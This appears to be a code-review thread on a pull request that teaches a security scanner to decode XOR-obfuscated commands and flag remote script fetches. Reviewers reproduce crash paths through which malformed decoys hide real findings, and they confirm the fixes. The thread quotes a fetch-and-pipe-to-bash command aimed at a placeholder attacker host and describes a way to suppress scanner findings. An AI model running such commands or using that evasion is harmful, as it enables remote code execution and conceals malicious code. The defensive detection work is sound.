fix(patterns): detect literal XOR decoded commands

[deepujain]

Fixes #478.

Statically decode literal byte arrays passed to narrowly recognizable local XOR helpers, then apply SC2 external-script-fetch detection to the recovered command. Dynamic expressions remain unevaluated.

Validation: python3 -m py_compile src/skillspector/nodes/analyzers/static_patterns_supply_chain.py tests/unit/test_patterns_new.py and git diff --check. The isolated checkout lacks the project test environment; hosted CI will run the full suite.

[MohammedAlkindi]

Two key literals reach the new decoder path outside the try, and each takes the whole file's findings with it.

Line 148 computes key = codecs.decode(...).encode("latin1") before the try opens, so b'Ā' raises UnicodeEncodeError. Line 158's key[index % len(key)] divides by zero on b'', and the try at 156 catches only UnicodeDecodeError.

Measured through analyze() on one file holding subprocess.run('curl http://evil.example/x | bash', shell=True) next to a decoder-shaped helper that is actually called: control gives 2 findings, k = b'' raises ZeroDivisionError, k = b'Ā' raises UnicodeEncodeError. static_runner catches Exception, marks the file FAILED and continues, so the plaintext SC2 findings vanish with it. Five characters in an unrelated function silence supply-chain scanning for that file.

[rng1995]

[SkillSpector Review]

Reviewed current head 29581f1e23c16b16bea146329e628b7ad71b99e4. The bounded literal example is decoded and produces SC2, and all hosted checks pass. However, attacker-controlled candidates can raise before or outside the narrow UnicodeDecodeError handler.

An empty byte key reaches modulo by zero; a non-Latin-1 escaped key raises during .encode('latin1'); and an overlong decimal literal can raise during int(...). static_runner then marks the whole analyzer/file failed, discarding unrelated plaintext SC findings that were already collected. A tiny decoder-shaped decoy can therefore suppress supply-chain findings for that file.

Validate and bound the key/value literals, catch candidate-local decode/conversion/arithmetic failures without discarding other findings, and add mixed-file regressions proving malformed XOR decoys cannot erase a real plaintext SC2 finding. The inline comment includes concrete reproductions.

[MohammedAlkindi]

Confirmed on Windows at 4012f7c. Both shapes are closed: a helper whose key literal is b'' or b'\u0100' now leaves that file's two SC2 findings intact instead of taking them down with an uncaught exception. tests/unit/test_patterns_new.py is 484 passed.

The part worth checking was whether the new bounds cost the detector its job, and they do not. A helper with k = b'k', called on a list that XORs to curl http://evil.example/x | bash, still decodes and reports SC2 HIGH.

Rejecting an empty key, bounding the value count and refusing out-of-range bytes covers more than the two cases I happened to hit, which is the better shape for it.

[rng1995]

[SkillSpector Review]

Re-reviewed current head 4012f7cf6fc50d2fecacbc46f54733906d4f4d1c against the prior P0 finding and resolved thread, every production change, focused regressions, surrounding static-runner failure behavior, and exact-head checks.

The malformed-candidate suppression path is resolved. Literal keys and byte arrays are now nonempty, range checked, and explicitly bounded; Unicode, integer-conversion, arithmetic, and decode failures are contained to the candidate. The mixed-file regression proves a malformed XOR-shaped decoy no longer erases an unrelated plaintext SC2 finding. The shared AST cache remains untouched. I found no remaining required changes.

All six exact-head checks pass. GitHub reports the PR as mergeable but BLOCKED; branch-protection requirements still govern merging.

Priority: P0 — the fix prevents attacker-shaped decoys from suppressing all supply-chain findings for a file.

[rng1995]

[SkillSpector Review]

Re-reviewed current head 6e9601ff1d6edb3b3bec510966234b1ec7ce6bae, including the complete analyzer/test diff, previous review and resolved thread, author/contributor replies, shared line-number helpers, the static runner's failure behavior, and current CI.

The previously reported malformed-key/value failures are addressed: empty keys are rejected, Unicode and integer-conversion failures are contained, and decoded byte values are validated. The mixed-file regression and positive XOR example remain present.

However, the re-review found another path that can abort the analyzer and discard unrelated findings. The decoder returns a logical line number that counts Unicode line separators, but the emitter indexes an array containing only LF line offsets. A valid Python comment with two actual U+2028 characters before the final decoded call in the positive regression is enough to drive that index past the array. The resulting uncaught IndexError makes the static runner mark the file failed and lose the plaintext SC2 findings already accumulated for it. The inline comment identifies the correction and required mixed-file regression.

All six reported CI checks pass; gh pr checks --required reports no required checks. Tests were inspected, not executed locally. The previous issue is resolved, but this additional suppression bug prevents approval.

[deepujain]

Reply to rng1995's [P1] line-index finding (inline thread): fixed in 089e5d2. The SC2 call site now indexes finding context on the existing logical_line_starts offsets (the same index get_line_number is built on) instead of the LF-only line_offsets, so line numbers from _decoded_literal_xor_calls can no longer raise IndexError and erase the file's supply-chain findings. Added regression test test_sc2_xor_decoded_command_survives_unicode_line_separators with two U+2028 characters in a leading comment plus an independent plaintext SC2 match, asserting both findings survive with correct line numbers.

[rng1995]

[SkillSpector Review]

Re-reviewed current head 089e5d27f16cc2cfc13c0f8552ee2a3bcf65d534 against every prior finding, the full current analyzer/test diff, the change since my last review, surrounding line-number and static-runner code, review replies/thread state, and current CI.

All previously requested code corrections are addressed:

• Malformed XOR keys and byte lists remain validated, bounded, and contained to the candidate, preserving unrelated plaintext findings.
• XOR finding context now indexes the existing logical-line starts, matching the decoder's line-number calculation. The LF-only index has been removed.
• The new Unicode-separator regression places two U+2028 characters before an independent plaintext SC2 match and the final decoded call, then asserts that both findings survive and that the decoded finding has the correct line number. The positive decode and malformed-helper regressions remain present.

I found no remaining required code or test changes. All six reported checks pass (including lint, unit tests, Docker smoke, TypeScript tests, and DCO); the required-check query reports no required checks. Validation here was source/test inspection and hosted CI; contributor code was not executed locally.

The old Unicode-index thread is still open in GitHub although its code issue is fixed. This approval confirms the reviewed code; conversation resolution and other repository gates still govern merging.